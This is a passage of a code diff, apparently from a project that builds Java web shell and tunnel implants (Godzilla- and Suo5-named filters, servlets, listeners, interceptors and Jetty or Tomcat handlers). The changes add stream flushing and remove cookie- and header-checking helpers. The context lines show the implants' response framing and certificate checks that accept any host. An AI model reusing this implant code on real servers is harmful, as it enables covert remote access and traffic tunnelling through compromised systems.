||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
|
|||||||
+2
@@ -56,6 +56,8 @@ public class GodzillaUndertowServletHandler extends ClassLoader {
|
|||||||
writer.write(md5.substring(0, 16));
|
writer.write(md5.substring(0, 16));
|
||||||
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||||
writer.write(md5.substring(16));
|
writer.write(md5.substring(16));
|
||||||
|
writer.flush();
|
||||||
|
writer.close();
|
||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
|
|||||||
+2
@@ -51,6 +51,8 @@ public class GodzillaValve extends ClassLoader implements Valve {
|
|||||||
writer.write(md5.substring(0, 16));
|
writer.write(md5.substring(0, 16));
|
||||||
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||||
writer.write(md5.substring(16));
|
writer.write(md5.substring(16));
|
||||||
|
writer.flush();
|
||||||
|
writer.close();
|
||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
|
|||||||
@@ -183,7 +183,11 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
|||||||
}
|
}
|
||||||
} catch (Throwable ignored) {
|
} catch (Throwable ignored) {
|
||||||
} finally {
|
} finally {
|
||||||
|
try {
|
||||||
|
OutputStream out = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
|
||||||
|
out.flush();
|
||||||
|
out.close();
|
||||||
|
} catch (Throwable ignore) {}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
+5
-104
@@ -162,7 +162,11 @@ public class Suo5v2ControllerHandler implements Controller, Runnable, HostnameVe
|
|||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
} finally {
|
} finally {
|
||||||
|
try {
|
||||||
|
OutputStream out = resp.getOutputStream();
|
||||||
|
out.flush();
|
||||||
|
out.close();
|
||||||
|
} catch (Throwable ignored) {}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -988,109 +992,6 @@ public class Suo5v2ControllerHandler implements Controller, Runnable, HostnameVe
|
|||||||
return new String(randomChars);
|
return new String(randomChars);
|
||||||
}
|
}
|
||||||
|
|
||||||
private int toOffset(byte[] bs) {
|
|
||||||
if (bs == null || bs.length != 4) {
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
try {
|
|
||||||
bs = base64UrlDecode(new String(bs));
|
|
||||||
return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF);
|
|
||||||
} catch (Exception e) {
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private String getOffset(HttpServletRequest request) {
|
|
||||||
String cookieValue = request.getHeader("Cookie");
|
|
||||||
if (cookieValue != null && cookieValue.length() > 0) {
|
|
||||||
ArrayList cookieVals = cookieValues(cookieValue);
|
|
||||||
for (int i = 0; i < cookieVals.size(); i++) {
|
|
||||||
String val = (String) cookieVals.get(i);
|
|
||||||
if (val.length() >= 12) {
|
|
||||||
if (is_valid(val.substring(val.length() - 8), 430) != null) {
|
|
||||||
return val;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
Enumeration headerNames = request.getHeaderNames();
|
|
||||||
while (headerNames != null && headerNames.hasMoreElements()) {
|
|
||||||
String headerName = (String) headerNames.nextElement();
|
|
||||||
String val = request.getHeader(headerName);
|
|
||||||
if (val.length() >= 12) {
|
|
||||||
if (is_valid(val.substring(val.length() - 8), 430) != null) {
|
|
||||||
return val;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
|
|
||||||
private byte[] is_valid(String data, int sum) {
|
|
||||||
try {
|
|
||||||
byte[] result = base64UrlDecode(data);
|
|
||||||
if (result.length < 6) {
|
|
||||||
return null;
|
|
||||||
} else {
|
|
||||||
int i = result.length - 2;
|
|
||||||
int j = result.length - 3;
|
|
||||||
int p = result.length - 5;
|
|
||||||
int q = result.length - 6;
|
|
||||||
boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum;
|
|
||||||
return valid ? result : null;
|
|
||||||
}
|
|
||||||
} catch (Exception var8) {
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private boolean isOdd(int i) {
|
|
||||||
return (i & 1) == 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
private int toUInt(byte x) {
|
|
||||||
return x & 255;
|
|
||||||
}
|
|
||||||
|
|
||||||
public static String md5(byte[] content) {
|
|
||||||
MessageDigest md = null;
|
|
||||||
try {
|
|
||||||
md = MessageDigest.getInstance("MD5");
|
|
||||||
} catch (NoSuchAlgorithmException e) {
|
|
||||||
throw new RuntimeException(e);
|
|
||||||
}
|
|
||||||
byte[] md5Bytes = md.digest(content);
|
|
||||||
// no String.format in java1.4
|
|
||||||
StringBuffer sb = new StringBuffer();
|
|
||||||
for (int i = 0; i < md5Bytes.length; i++) {
|
|
||||||
byte b = md5Bytes[i];
|
|
||||||
int value = b & 0xFF;
|
|
||||||
if (value < 16) {
|
|
||||||
sb.append('0');
|
|
||||||
}
|
|
||||||
sb.append(Integer.toHexString(value));
|
|
||||||
}
|
|
||||||
return sb.toString();
|
|
||||||
}
|
|
||||||
|
|
||||||
private ArrayList cookieValues(String cookieValue) {
|
|
||||||
ArrayList values = new ArrayList();
|
|
||||||
String[] cookiePairs = cookieValue.split(";");
|
|
||||||
|
|
||||||
for (int i = 0; i < cookiePairs.length; i++) {
|
|
||||||
String pair = cookiePairs[i];
|
|
||||||
String[] keyValue = pair.split("=", 2);
|
|
||||||
if (keyValue.length >= 2) {
|
|
||||||
values.add(keyValue[1].trim());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return values;
|
|
||||||
}
|
|
||||||
|
|
||||||
public boolean verify(String hostname, SSLSession session) {
|
public boolean verify(String hostname, SSLSession session) {
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|||||||
+5
-104
@@ -167,7 +167,11 @@ public class Suo5v2Filter implements Filter, Runnable, HostnameVerifier, X509Tru
|
|||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
} finally {
|
} finally {
|
||||||
|
try {
|
||||||
|
OutputStream out = resp.getOutputStream();
|
||||||
|
out.flush();
|
||||||
|
out.close();
|
||||||
|
} catch (Throwable ignored) {}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -993,109 +997,6 @@ public class Suo5v2Filter implements Filter, Runnable, HostnameVerifier, X509Tru
|
|||||||
return new String(randomChars);
|
return new String(randomChars);
|
||||||
}
|
}
|
||||||
|
|
||||||
private int toOffset(byte[] bs) {
|
|
||||||
if (bs == null || bs.length != 4) {
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
try {
|
|
||||||
bs = base64UrlDecode(new String(bs));
|
|
||||||
return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF);
|
|
||||||
} catch (Exception e) {
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private String getOffset(HttpServletRequest request) {
|
|
||||||
String cookieValue = request.getHeader("Cookie");
|
|
||||||
if (cookieValue != null && cookieValue.length() > 0) {
|
|
||||||
ArrayList cookieVals = cookieValues(cookieValue);
|
|
||||||
for (int i = 0; i < cookieVals.size(); i++) {
|
|
||||||
String val = (String) cookieVals.get(i);
|
|
||||||
if (val.length() >= 12) {
|
|
||||||
if (is_valid(val.substring(val.length() - 8), 430) != null) {
|
|
||||||
return val;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
Enumeration headerNames = request.getHeaderNames();
|
|
||||||
while (headerNames != null && headerNames.hasMoreElements()) {
|
|
||||||
String headerName = (String) headerNames.nextElement();
|
|
||||||
String val = request.getHeader(headerName);
|
|
||||||
if (val.length() >= 12) {
|
|
||||||
if (is_valid(val.substring(val.length() - 8), 430) != null) {
|
|
||||||
return val;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
|
|
||||||
private byte[] is_valid(String data, int sum) {
|
|
||||||
try {
|
|
||||||
byte[] result = base64UrlDecode(data);
|
|
||||||
if (result.length < 6) {
|
|
||||||
return null;
|
|
||||||
} else {
|
|
||||||
int i = result.length - 2;
|
|
||||||
int j = result.length - 3;
|
|
||||||
int p = result.length - 5;
|
|
||||||
int q = result.length - 6;
|
|
||||||
boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum;
|
|
||||||
return valid ? result : null;
|
|
||||||
}
|
|
||||||
} catch (Exception var8) {
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private boolean isOdd(int i) {
|
|
||||||
return (i & 1) == 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
private int toUInt(byte x) {
|
|
||||||
return x & 255;
|
|
||||||
}
|
|
||||||
|
|
||||||
public static String md5(byte[] content) {
|
|
||||||
MessageDigest md = null;
|
|
||||||
try {
|
|
||||||
md = MessageDigest.getInstance("MD5");
|
|
||||||
} catch (NoSuchAlgorithmException e) {
|
|
||||||
throw new RuntimeException(e);
|
|
||||||
}
|
|
||||||
byte[] md5Bytes = md.digest(content);
|
|
||||||
// no String.format in java1.4
|
|
||||||
StringBuffer sb = new StringBuffer();
|
|
||||||
for (int i = 0; i < md5Bytes.length; i++) {
|
|
||||||
byte b = md5Bytes[i];
|
|
||||||
int value = b & 0xFF;
|
|
||||||
if (value < 16) {
|
|
||||||
sb.append('0');
|
|
||||||
}
|
|
||||||
sb.append(Integer.toHexString(value));
|
|
||||||
}
|
|
||||||
return sb.toString();
|
|
||||||
}
|
|
||||||
|
|
||||||
private ArrayList cookieValues(String cookieValue) {
|
|
||||||
ArrayList values = new ArrayList();
|
|
||||||
String[] cookiePairs = cookieValue.split(";");
|
|
||||||
|
|
||||||
for (int i = 0; i < cookiePairs.length; i++) {
|
|
||||||
String pair = cookiePairs[i];
|
|
||||||
String[] keyValue = pair.split("=", 2);
|
|
||||||
if (keyValue.length >= 2) {
|
|
||||||
values.add(keyValue[1].trim());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return values;
|
|
||||||
}
|
|
||||||
|
|
||||||
public boolean verify(String hostname, SSLSession session) {
|
public boolean verify(String hostname, SSLSession session) {
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|||||||
+5
-104
@@ -179,7 +179,11 @@ public class Suo5v2Interceptor implements AsyncHandlerInterceptor, Runnable, Hos
|
|||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
} finally {
|
} finally {
|
||||||
|
try {
|
||||||
|
OutputStream out = resp.getOutputStream();
|
||||||
|
out.flush();
|
||||||
|
out.close();
|
||||||
|
} catch (Throwable ignored) {}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1005,109 +1009,6 @@ public class Suo5v2Interceptor implements AsyncHandlerInterceptor, Runnable, Hos
|
|||||||
return new String(randomChars);
|
return new String(randomChars);
|
||||||
}
|
}
|
||||||
|
|
||||||
private int toOffset(byte[] bs) {
|
|
||||||
if (bs == null || bs.length != 4) {
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
try {
|
|
||||||
bs = base64UrlDecode(new String(bs));
|
|
||||||
return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF);
|
|
||||||
} catch (Exception e) {
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private String getOffset(HttpServletRequest request) {
|
|
||||||
String cookieValue = request.getHeader("Cookie");
|
|
||||||
if (cookieValue != null && cookieValue.length() > 0) {
|
|
||||||
ArrayList cookieVals = cookieValues(cookieValue);
|
|
||||||
for (int i = 0; i < cookieVals.size(); i++) {
|
|
||||||
String val = (String) cookieVals.get(i);
|
|
||||||
if (val.length() >= 12) {
|
|
||||||
if (is_valid(val.substring(val.length() - 8), 430) != null) {
|
|
||||||
return val;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
Enumeration headerNames = request.getHeaderNames();
|
|
||||||
while (headerNames != null && headerNames.hasMoreElements()) {
|
|
||||||
String headerName = (String) headerNames.nextElement();
|
|
||||||
String val = request.getHeader(headerName);
|
|
||||||
if (val.length() >= 12) {
|
|
||||||
if (is_valid(val.substring(val.length() - 8), 430) != null) {
|
|
||||||
return val;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
|
|
||||||
private byte[] is_valid(String data, int sum) {
|
|
||||||
try {
|
|
||||||
byte[] result = base64UrlDecode(data);
|
|
||||||
if (result.length < 6) {
|
|
||||||
return null;
|
|
||||||
} else {
|
|
||||||
int i = result.length - 2;
|
|
||||||
int j = result.length - 3;
|
|
||||||
int p = result.length - 5;
|
|
||||||
int q = result.length - 6;
|
|
||||||
boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum;
|
|
||||||
return valid ? result : null;
|
|
||||||
}
|
|
||||||
} catch (Exception var8) {
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private boolean isOdd(int i) {
|
|
||||||
return (i & 1) == 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
private int toUInt(byte x) {
|
|
||||||
return x & 255;
|
|
||||||
}
|
|
||||||
|
|
||||||
public static String md5(byte[] content) {
|
|
||||||
MessageDigest md = null;
|
|
||||||
try {
|
|
||||||
md = MessageDigest.getInstance("MD5");
|
|
||||||
} catch (NoSuchAlgorithmException e) {
|
|
||||||
throw new RuntimeException(e);
|
|
||||||
}
|
|
||||||
byte[] md5Bytes = md.digest(content);
|
|
||||||
// no String.format in java1.4
|
|
||||||
StringBuffer sb = new StringBuffer();
|
|
||||||
for (int i = 0; i < md5Bytes.length; i++) {
|
|
||||||
byte b = md5Bytes[i];
|
|
||||||
int value = b & 0xFF;
|
|
||||||
if (value < 16) {
|
|
||||||
sb.append('0');
|
|
||||||
}
|
|
||||||
sb.append(Integer.toHexString(value));
|
|
||||||
}
|
|
||||||
return sb.toString();
|
|
||||||
}
|
|
||||||
|
|
||||||
private ArrayList cookieValues(String cookieValue) {
|
|
||||||
ArrayList values = new ArrayList();
|
|
||||||
String[] cookiePairs = cookieValue.split(";");
|
|
||||||
|
|
||||||
for (int i = 0; i < cookiePairs.length; i++) {
|
|
||||||
String pair = cookiePairs[i];
|
|
||||||
String[] keyValue = pair.split("=", 2);
|
|
||||||
if (keyValue.length >= 2) {
|
|
||||||
values.add(keyValue[1].trim());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return values;
|
|
||||||
}
|
|
||||||
|
|
||||||
public boolean verify(String hostname, SSLSession session) {
|
public boolean verify(String hostname, SSLSession session) {
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|||||||
+5
-1
@@ -216,7 +216,11 @@ public class Suo5v2JettyCustomizer implements HttpConfiguration.Customizer, Runn
|
|||||||
}
|
}
|
||||||
} catch (Throwable ignored) {
|
} catch (Throwable ignored) {
|
||||||
} finally {
|
} finally {
|
||||||
|
try {
|
||||||
|
OutputStream out = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
|
||||||
|
out.flush();
|
||||||
|
out.close();
|
||||||
|
} catch (Throwable ignore) {}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
+5
-104
@@ -178,7 +178,11 @@ public class Suo5v2JettyHandler implements Runnable, HostnameVerifier, X509Trust
|
|||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
} finally {
|
} finally {
|
||||||
|
try {
|
||||||
|
OutputStream out = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
|
||||||
|
out.flush();
|
||||||
|
out.close();
|
||||||
|
} catch (Throwable ignored) {}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1004,109 +1008,6 @@ public class Suo5v2JettyHandler implements Runnable, HostnameVerifier, X509Trust
|
|||||||
return new String(randomChars);
|
return new String(randomChars);
|
||||||
}
|
}
|
||||||
|
|
||||||
private int toOffset(byte[] bs) {
|
|
||||||
if (bs == null || bs.length != 4) {
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
try {
|
|
||||||
bs = base64UrlDecode(new String(bs));
|
|
||||||
return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF);
|
|
||||||
} catch (Exception e) {
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private String getOffset(HttpServletRequest request) {
|
|
||||||
String cookieValue = request.getHeader("Cookie");
|
|
||||||
if (cookieValue != null && cookieValue.length() > 0) {
|
|
||||||
ArrayList cookieVals = cookieValues(cookieValue);
|
|
||||||
for (int i = 0; i < cookieVals.size(); i++) {
|
|
||||||
String val = (String) cookieVals.get(i);
|
|
||||||
if (val.length() >= 12) {
|
|
||||||
if (is_valid(val.substring(val.length() - 8), 430) != null) {
|
|
||||||
return val;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
Enumeration headerNames = request.getHeaderNames();
|
|
||||||
while (headerNames != null && headerNames.hasMoreElements()) {
|
|
||||||
String headerName = (String) headerNames.nextElement();
|
|
||||||
String val = request.getHeader(headerName);
|
|
||||||
if (val.length() >= 12) {
|
|
||||||
if (is_valid(val.substring(val.length() - 8), 430) != null) {
|
|
||||||
return val;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
|
|
||||||
private byte[] is_valid(String data, int sum) {
|
|
||||||
try {
|
|
||||||
byte[] result = base64UrlDecode(data);
|
|
||||||
if (result.length < 6) {
|
|
||||||
return null;
|
|
||||||
} else {
|
|
||||||
int i = result.length - 2;
|
|
||||||
int j = result.length - 3;
|
|
||||||
int p = result.length - 5;
|
|
||||||
int q = result.length - 6;
|
|
||||||
boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum;
|
|
||||||
return valid ? result : null;
|
|
||||||
}
|
|
||||||
} catch (Exception var8) {
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private boolean isOdd(int i) {
|
|
||||||
return (i & 1) == 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
private int toUInt(byte x) {
|
|
||||||
return x & 255;
|
|
||||||
}
|
|
||||||
|
|
||||||
public static String md5(byte[] content) {
|
|
||||||
MessageDigest md = null;
|
|
||||||
try {
|
|
||||||
md = MessageDigest.getInstance("MD5");
|
|
||||||
} catch (NoSuchAlgorithmException e) {
|
|
||||||
throw new RuntimeException(e);
|
|
||||||
}
|
|
||||||
byte[] md5Bytes = md.digest(content);
|
|
||||||
// no String.format in java1.4
|
|
||||||
StringBuffer sb = new StringBuffer();
|
|
||||||
for (int i = 0; i < md5Bytes.length; i++) {
|
|
||||||
byte b = md5Bytes[i];
|
|
||||||
int value = b & 0xFF;
|
|
||||||
if (value < 16) {
|
|
||||||
sb.append('0');
|
|
||||||
}
|
|
||||||
sb.append(Integer.toHexString(value));
|
|
||||||
}
|
|
||||||
return sb.toString();
|
|
||||||
}
|
|
||||||
|
|
||||||
private ArrayList cookieValues(String cookieValue) {
|
|
||||||
ArrayList values = new ArrayList();
|
|
||||||
String[] cookiePairs = cookieValue.split(";");
|
|
||||||
|
|
||||||
for (int i = 0; i < cookiePairs.length; i++) {
|
|
||||||
String pair = cookiePairs[i];
|
|
||||||
String[] keyValue = pair.split("=", 2);
|
|
||||||
if (keyValue.length >= 2) {
|
|
||||||
values.add(keyValue[1].trim());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return values;
|
|
||||||
}
|
|
||||||
|
|
||||||
public boolean verify(String hostname, SSLSession session) {
|
public boolean verify(String hostname, SSLSession session) {
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|||||||
+5
-104
@@ -173,7 +173,11 @@ public class Suo5v2Listener implements ServletRequestListener, Runnable, Hostnam
|
|||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
} finally {
|
} finally {
|
||||||
|
try {
|
||||||
|
OutputStream out = resp.getOutputStream();
|
||||||
|
out.flush();
|
||||||
|
out.close();
|
||||||
|
} catch (Throwable ignored) {}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -999,109 +1003,6 @@ public class Suo5v2Listener implements ServletRequestListener, Runnable, Hostnam
|
|||||||
return new String(randomChars);
|
return new String(randomChars);
|
||||||
}
|
}
|
||||||
|
|
||||||
private int toOffset(byte[] bs) {
|
|
||||||
if (bs == null || bs.length != 4) {
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
try {
|
|
||||||
bs = base64UrlDecode(new String(bs));
|
|
||||||
return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF);
|
|
||||||
} catch (Exception e) {
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private String getOffset(HttpServletRequest request) {
|
|
||||||
String cookieValue = request.getHeader("Cookie");
|
|
||||||
if (cookieValue != null && cookieValue.length() > 0) {
|
|
||||||
ArrayList cookieVals = cookieValues(cookieValue);
|
|
||||||
for (int i = 0; i < cookieVals.size(); i++) {
|
|
||||||
String val = (String) cookieVals.get(i);
|
|
||||||
if (val.length() >= 12) {
|
|
||||||
if (is_valid(val.substring(val.length() - 8), 430) != null) {
|
|
||||||
return val;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
Enumeration headerNames = request.getHeaderNames();
|
|
||||||
while (headerNames != null && headerNames.hasMoreElements()) {
|
|
||||||
String headerName = (String) headerNames.nextElement();
|
|
||||||
String val = request.getHeader(headerName);
|
|
||||||
if (val.length() >= 12) {
|
|
||||||
if (is_valid(val.substring(val.length() - 8), 430) != null) {
|
|
||||||
return val;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
|
|
||||||
private byte[] is_valid(String data, int sum) {
|
|
||||||
try {
|
|
||||||
byte[] result = base64UrlDecode(data);
|
|
||||||
if (result.length < 6) {
|
|
||||||
return null;
|
|
||||||
} else {
|
|
||||||
int i = result.length - 2;
|
|
||||||
int j = result.length - 3;
|
|
||||||
int p = result.length - 5;
|
|
||||||
int q = result.length - 6;
|
|
||||||
boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum;
|
|
||||||
return valid ? result : null;
|
|
||||||
}
|
|
||||||
} catch (Exception var8) {
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private boolean isOdd(int i) {
|
|
||||||
return (i & 1) == 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
private int toUInt(byte x) {
|
|
||||||
return x & 255;
|
|
||||||
}
|
|
||||||
|
|
||||||
public static String md5(byte[] content) {
|
|
||||||
MessageDigest md = null;
|
|
||||||
try {
|
|
||||||
md = MessageDigest.getInstance("MD5");
|
|
||||||
} catch (NoSuchAlgorithmException e) {
|
|
||||||
throw new RuntimeException(e);
|
|
||||||
}
|
|
||||||
byte[] md5Bytes = md.digest(content);
|
|
||||||
// no String.format in java1.4
|
|
||||||
StringBuffer sb = new StringBuffer();
|
|
||||||
for (int i = 0; i < md5Bytes.length; i++) {
|
|
||||||
byte b = md5Bytes[i];
|
|
||||||
int value = b & 0xFF;
|
|
||||||
if (value < 16) {
|
|
||||||
sb.append('0');
|
|
||||||
}
|
|
||||||
sb.append(Integer.toHexString(value));
|
|
||||||
}
|
|
||||||
return sb.toString();
|
|
||||||
}
|
|
||||||
|
|
||||||
private ArrayList cookieValues(String cookieValue) {
|
|
||||||
ArrayList values = new ArrayList();
|
|
||||||
String[] cookiePairs = cookieValue.split(";");
|
|
||||||
|
|
||||||
for (int i = 0; i < cookiePairs.length; i++) {
|
|
||||||
String pair = cookiePairs[i];
|
|
||||||
String[] keyValue = pair.split("=", 2);
|
|
||||||
if (keyValue.length >= 2) {
|
|
||||||
values.add(keyValue[1].trim());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return values;
|
|
||||||
}
|
|
||||||
|
|
||||||
public boolean verify(String hostname, SSLSession session) {
|
public boolean verify(String hostname, SSLSession session) {
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|||||||
+5
-104
@@ -161,7 +161,11 @@ public class Suo5v2Servlet implements Servlet, Runnable, HostnameVerifier, X509T
|
|||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
} finally {
|
} finally {
|
||||||
|
try {
|
||||||
|
OutputStream out = resp.getOutputStream();
|
||||||
|
out.flush();
|
||||||
|
out.close();
|
||||||
|
} catch (Throwable ignored) {}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -987,109 +991,6 @@ public class Suo5v2Servlet implements Servlet, Runnable, HostnameVerifier, X509T
|
|||||||
return new String(randomChars);
|
return new String(randomChars);
|
||||||
}
|
}
|
||||||
|
|
||||||
private int toOffset(byte[] bs) {
|
|
||||||
if (bs == null || bs.length != 4) {
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
try {
|
|
||||||
bs = base64UrlDecode(new String(bs));
|
|
||||||
return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF);
|
|
||||||
} catch (Exception e) {
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private String getOffset(HttpServletRequest request) {
|
|
||||||
String cookieValue = request.getHeader("Cookie");
|
|
||||||
if (cookieValue != null && cookieValue.length() > 0) {
|
|
||||||
ArrayList cookieVals = cookieValues(cookieValue);
|
|
||||||
for (int i = 0; i < cookieVals.size(); i++) {
|
|
||||||
String val = (String) cookieVals.get(i);
|
|
||||||
if (val.length() >= 12) {
|
|
||||||
if (is_valid(val.substring(val.length() - 8), 430) != null) {
|
|
||||||
return val;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
Enumeration headerNames = request.getHeaderNames();
|
|
||||||
while (headerNames != null && headerNames.hasMoreElements()) {
|
|
||||||
String headerName = (String) headerNames.nextElement();
|
|
||||||
String val = request.getHeader(headerName);
|
|
||||||
if (val.length() >= 12) {
|
|
||||||
if (is_valid(val.substring(val.length() - 8), 430) != null) {
|
|
||||||
return val;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
|
|
||||||
private byte[] is_valid(String data, int sum) {
|
|
||||||
try {
|
|
||||||
byte[] result = base64UrlDecode(data);
|
|
||||||
if (result.length < 6) {
|
|
||||||
return null;
|
|
||||||
} else {
|
|
||||||
int i = result.length - 2;
|
|
||||||
int j = result.length - 3;
|
|
||||||
int p = result.length - 5;
|
|
||||||
int q = result.length - 6;
|
|
||||||
boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum;
|
|
||||||
return valid ? result : null;
|
|
||||||
}
|
|
||||||
} catch (Exception var8) {
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private boolean isOdd(int i) {
|
|
||||||
return (i & 1) == 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
private int toUInt(byte x) {
|
|
||||||
return x & 255;
|
|
||||||
}
|
|
||||||
|
|
||||||
public static String md5(byte[] content) {
|
|
||||||
MessageDigest md = null;
|
|
||||||
try {
|
|
||||||
md = MessageDigest.getInstance("MD5");
|
|
||||||
} catch (NoSuchAlgorithmException e) {
|
|
||||||
throw new RuntimeException(e);
|
|
||||||
}
|
|
||||||
byte[] md5Bytes = md.digest(content);
|
|
||||||
// no String.format in java1.4
|
|
||||||
StringBuffer sb = new StringBuffer();
|
|
||||||
for (int i = 0; i < md5Bytes.length; i++) {
|
|
||||||
byte b = md5Bytes[i];
|
|
||||||
int value = b & 0xFF;
|
|
||||||
if (value < 16) {
|
|
||||||
sb.append('0');
|
|
||||||
}
|
